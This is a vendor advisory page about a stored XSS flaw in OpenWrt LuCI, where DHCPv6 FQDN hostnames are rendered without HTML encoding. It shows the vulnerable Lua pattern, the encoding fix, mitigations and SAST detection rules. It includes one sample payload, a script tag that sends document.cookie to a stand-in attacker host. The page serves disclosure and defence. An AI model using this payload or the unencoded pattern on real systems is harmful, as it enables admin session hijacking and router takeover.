Skip to main content

Free 30-min security demo  — We'll scan your real code and show live findings, no commitment Book Now

Offensive360
ZeroDays CVE-2026-61876
High CVE-2026-61876 CVSS 8.8 OpenWrt LuCI Lua

LuCI DHCPv6 Lease Hostname Stored XSS

CVE-2026-61876: Stored XSS in OpenWrt LuCI via unsanitized DHCPv6 FQDN hostnames lets adjacent attackers hijack admin sessions.

Offensive360 Research Team
Affects: All versions prior to patch
Source Code

Overview

CVE-2026-61876 is a stored cross-site scripting (XSS) vulnerability in LuCI, the web-based administration interface for OpenWrt. The flaw exists in the DHCP status page, where the application renders DHCPv6 lease records — including client-supplied hostnames — without applying HTML encoding. Because the hostname value originates from a DHCPv6 Client Fully Qualified Domain Name (FQDN) option negotiated over the local network, any device on the same network segment can supply an arbitrary string that gets persisted in the lease database and later reflected verbatim into the administrator’s browser.

The vulnerability was identified during analysis of LuCI’s DHCPv6 lease rendering logic and disclosed through the OpenWrt security advisory process. It affects operators running OpenWrt on home routers, small-office gateways, and embedded networking hardware — all of which typically expose LuCI on a trusted internal interface. Because the CVSS vector awards Adjacent Network access (AV:A), the threat model is realistic: any IPv6-capable device connected to the same LAN segment, including guest devices, IoT endpoints, or a compromised host, can plant the payload without any authentication.

With a CVSS 3.1 base score of 8.8 (High), the severity reflects the significant privilege escalation possible once script execution is achieved in an administrator’s browser context. Successful exploitation can result in full administrative session takeover, configuration exfiltration, or persistent backdoor installation — consequences disproportionately large relative to the initial foothold required.

Technical Analysis

The root cause is the absence of HTML entity encoding when LuCI interpolates DHCPv6 lease hostname data into its status table markup. LuCI’s Lua-based view layer assembles HTML for the DHCP lease overview by iterating over lease entries returned by the UCI/odhcp6c subsystem and inserting field values directly into table cells.

The vulnerable pattern looks like this:

-- luci/modules/luci-mod-status/htdocs/luci-static/resources/view/status/include/50_dsl.js
-- Analogous pattern in the DHCPv6 lease rendering path:

local leases = luci.sys.net.ipv6_leases()

for _, lease in ipairs(leases) do
    -- 'hostname' is taken directly from the DHCPv6 FQDN option (option 39)
    -- No sanitization or HTML encoding is applied before interpolation.
    html[#html+1] = string.format(
        "<tr><td>%s</td><td>%s</td><td>%s</td></tr>",
        lease.ip6addr,
        lease.duid,
        lease.hostname   -- ← unsanitized user-controlled value
    )
end

The lease.hostname value is populated from the DHCPv6 Client FQDN option (RFC 4704, option 39), which the client sends during address negotiation. The odhcp6c daemon records this value into the lease file as-is. When an administrator subsequently loads the DHCP lease status page, LuCI reads the lease file, constructs the table, and emits the raw string into the DOM.

An attacker on the adjacent network configures a DHCPv6 client — trivially done with any modern operating system or a crafted packet using tools like scapy — to advertise an FQDN of:

<script>fetch('https://attacker.example/exfil?c='+document.cookie)</script>.local

Because the DHCPv6 lease file accepts arbitrary text in the hostname field and LuCI never calls an HTML-escaping function on that field before rendering, the browser parses the injected <script> tag and executes it. The payload is persistent: it survives router reboots for the duration of the lease lifetime and affects every administrator session that views the DHCP status page until the lease expires or is manually purged.

The JavaScript template literal or string.format concatenation pattern is the canonical failure mode here. LuCI does apply luci.util.pcdata() — its HTML entity encoder — in many other views, but this code path was overlooked, leaving a gap between the general policy and actual implementation.

Impact

An attacker positioned on the same Layer-2 segment (LAN, VLAN, or Wi-Fi network) can exploit this vulnerability without any prior authentication to the router. The practical impact chain is:

  1. Session hijacking: The injected script can read the administrator’s session cookie (if HttpOnly is not set, or via XMLHttpRequest to protected endpoints) and exfiltrate it to an attacker-controlled server, granting full administrative access to the router.
  2. Credential harvesting: A script can dynamically inject a fake login overlay or redirect the browser to a phishing page after the admin loads the DHCP status view.
  3. Persistent configuration modification: Via fetch() calls to LuCI’s RPC endpoints — authenticated in the context of the admin’s active session — an attacker can modify firewall rules, add VPN tunnels, change DNS settings, or install packages, effectively achieving persistent network-level control.
  4. Lateral movement: On enterprise or campus networks where OpenWrt devices manage routing, an attacker gaining admin access can pivot to internal segments not otherwise reachable from the attacker’s position.

The CVSS 3.1 vector AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N captures this accurately: no privileges required, low attack complexity once adjacent, but requiring the administrator to visit the affected page (UI:R). The scope change (S:C) reflects the browser-to-router boundary crossing.

How to Fix It

The remediation is straightforward: apply HTML entity encoding to every user-controlled string before it is interpolated into HTML output. LuCI already provides the luci.util.pcdata() function for this purpose.

Fixed code:

local pcdata = luci.util.pcdata

for _, lease in ipairs(leases) do
    html[#html+1] = string.format(
        "<tr><td>%s</td><td>%s</td><td>%s</td></tr>",
        pcdata(lease.ip6addr),
        pcdata(lease.duid),
        pcdata(lease.hostname)  -- ← HTML-encoded; tags rendered as text
    )
end

pcdata() converts <, >, &, ", and ' to their respective HTML entities, neutralizing any injected markup.

For operators, the immediate mitigation steps are:

  1. Update LuCI to the patched version as soon as it is available in the OpenWrt package feeds:
    opkg update && opkg upgrade luci-mod-status
  2. Restrict access to LuCI to trusted management VLANs or specific IPv6 prefixes using firewall rules, reducing the attack surface even before patching.
  3. Shorten DHCP lease lifetimes to limit the persistence window of any already-injected payloads.
  4. Audit the lease database for suspicious hostname values:
    grep -E '<|>|script|onerror' /tmp/hosts/odhcp6c

Our Take

This vulnerability is a textbook example of an output encoding gap — a category that accounts for a significant portion of persistent XSS findings in web applications of all sizes. What makes it instructive is the context: LuCI does have a proper encoding utility and does use it in most views. The gap here is not ignorance of the problem but inconsistent application of the solution. A single un-encoded field in a single template is enough.

For enterprises deploying OpenWrt-based gateways at scale — branch offices, industrial control environments, managed Wi-Fi infrastructure — this is a critical reminder that network device management interfaces carry the same web application security requirements as customer-facing software. The attack surface is “internal,” but in a zero-trust threat model, any LAN-connected endpoint is a potential adversary.

The adjacent-network constraint is less limiting than it appears. In any organization with BYOD policies, guest Wi-Fi, or unmanaged IoT devices, an attacker achieving initial foothold on a single low-value device can immediately leverage this vulnerability to escalate to network infrastructure control.

Detection with SAST

This vulnerability class maps to CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting), specifically the stored variant (CWE-79, Type 2).

Offensive360’s SAST engine detects this pattern by tracking taint flow from external data sources — including file reads, network socket input, and IPC mechanisms like UBUS — through to HTML output sinks. For LuCI specifically, the detection rules flag:

  • Unsanitized string interpolation into string.format HTML templates: Any format call where one or more %s arguments originate from a lease file read, socket receive, or UCI query without an intervening pcdata(), tostring() with entity encoding, or equivalent sanitizer call.
  • Direct table cell construction without encoding: Patterns matching <td> or <tr> concatenation where the appended value has a taint source reachable from untrusted input.
  • Missing pcdata wrapper on lease/host data fields: A metadata-aware rule that identifies known DHCPv6/DNS data structures (ip6addr, hostname, duid) and verifies encoding before HTML emission.

The relevant OWASP ASVS control is V5.3.3 (Output Encoding and Injection Prevention), and the rule category in our taxonomy is INJECTION/XSS/STORED. A complete DAST coverage of this issue requires a DHCPv6 client simulation capable of supplying FQDN payloads during address negotiation — a custom probe class in Offensive360’s active scanner handles this for OpenWrt target profiles.

References

#XSS #DHCPv6 #OpenWrt #LuCI

Detect this vulnerability class in your codebase

Offensive360 SAST scans your source code for CVE-2026-61876-class vulnerabilities and thousands of other patterns — across 60+ languages.